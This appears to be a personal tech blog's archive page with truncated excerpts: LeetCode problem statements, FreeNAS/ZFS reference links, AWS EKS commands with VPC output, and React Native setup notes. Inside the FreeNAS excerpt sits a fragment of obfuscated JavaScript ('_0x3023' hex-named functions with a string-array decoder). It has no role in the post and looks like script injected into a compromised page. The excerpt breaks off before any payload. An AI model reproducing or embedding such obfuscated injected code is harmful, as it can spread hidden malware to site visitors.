Author: huafu

Given a string s containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid. An input string is valid if: Open brackets must be closed by the same type of brackets.Open brackets must be closed in the correct order.Every close bracket has a corresponding open bracket of the...

Write a function to find the longest common prefix string amongst an array of strings. If there is no common prefix, return an empty string "". Example 1: Input: strs = ["flower","flow","flight"] Output: "fl" Example 2: Input: strs = ["dog","racecar","car"] Output: "" Explanation: There is no common prefix among the input strings. Constraints: 1 <= strs.length...

Given an array of integers nums and an integer target, return indices of the two numbers such that they add up to target. You may assume that each input would have exactly one solution, and you may not use the same element twice. You can return the answer in any order. Example 1: Input: nums = [2,7,11,15], target...

reference: https://zhuanlan.zhihu.com/p/56293206 FreeNAS upgrade guide https://www.cnblogs.com/zhangxingeng/p/11646542.html ZFS introduction https://www.rultr.com/tutorials/4559.html  TrueNAS install guide https://www.ixsystems.com/documentation/freenas/11.2/storage.html  FreeNAS 11.2 guide https://zhuanlan.zhihu.com/p/152068906 FreeNAS raid-z2 recovery disk https://blog.hjc.im/freenas-one-month-experience.html  FreeNAS important notice https://post.smzdm.com/p/a6lnpx9z/p3/#comments  100TB的RAID5 rebuild https://www.truenas.com/community/threads/1pb-storage-server-using-freenas.49941/   1PB system SuperStorage 6048R-E1CR90L 90Bay https://blog.csdn.net/ccie38499/article/details/16918095 install freenas on vmware https://www.zhihu.com/question/46392643  100TB-200TB  storage function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return...

eksctl create cluster --name myekscluster --region us-east-1 --zones us-east-1a,us-east-1b --managed --nodegroup-name mynodegroup kubectl get svc aws ec2 describe-vpcs { "Vpcs": [ { "CidrBlock": "172.31.0.0/16", "DhcpOptionsId": "dopt-93a28ae8", "State": "available", "VpcId": "vpc-a828a7d2", "OwnerId": "417501541667", "InstanceTenancy": "default", "CidrBlockAssociationSet": [ { "AssociationId": "vpc-cidr-assoc-e837af84", "CidrBlock": "172.31.0.0/16", "CidrBlockState": { "State": "associated" } } ], "IsDefault": true }, { "CidrBlock": "192.168.0.0/16", "DhcpOptionsId": "dopt-93a28ae8", "State": "available", "VpcId": "vpc-079de9a064ccfb155", "OwnerId": "417501541667", "InstanceTenancy": "default", "CidrBlockAssociationSet": [ { { "Vpcs": [ { "CidrBlock": "172.31.0.0/16", "DhcpOptionsId": "dopt-93a28ae8", "State": "available", "VpcId": "vpc-a828a7d2", "OwnerId": "417501541667", "InstanceTenancy": "default", "CidrBlockAssociationSet": [ { "AssociationId": "vpc-cidr-assoc-e837af84", "CidrBlock":...

Given an integer x, return true if x is palindrome integer.An integer is a palindrome when it reads the same backward as forward. For example, 121 is palindrome while 123 is not. Example 1:Input: x = 121 Output: true Example 2:Input: x = -121 Output: false Explanation: From left to right, it reads -121. From right to left, it becomes 121-....

Given a signed 32-bit integer x, return x with its digits reversed. If reversing x causes the value to go outside the signed 32-bit integer range [-231, 231 - 1], then return 0.Assume the environment does not allow you to store 64-bit integers (signed or unsigned). Example 1:Input: x = 123 Output: 321 Example 2:Input: x...

Given an array of integers nums, sort the array in ascending order. Example 1:Input: nums = [5,2,3,1] Output: [1,2,3,5] Example 2:Input: nums = [5,1,1,2,0,0] Output: [0,0,1,1,2,5]  Constraints:1 <= nums.length <= 5 * 104-5 * 104 <= nums[i] <= 5 * 104  https://www.jianshu.com/p/bbbab7fa77a2冒泡排序(Bubble Sort) pythonclass Solution:    def sortArray(self, nums: List[int]) -> List[int]:     ...

From https://reactnative.dev/docs/environment-setup System requirement MacBook pro-2014(4 core, 16GB memory) macOS Catalina(10.15.7) Xcode v11.5 node v12.20.1 npm v6.14.10 Environment config follow by https://reactnative.dev/docs/environment-setup Create new project npx react-native init TestHello cd TestHello yarn ios Solve issue: ios/Pods/Headers/Private /Flipper-Folly/folly/portability/Time.h:51:17: Typedef redefinition with di fferent types ('uint8_t' (aka 'unsigned char')...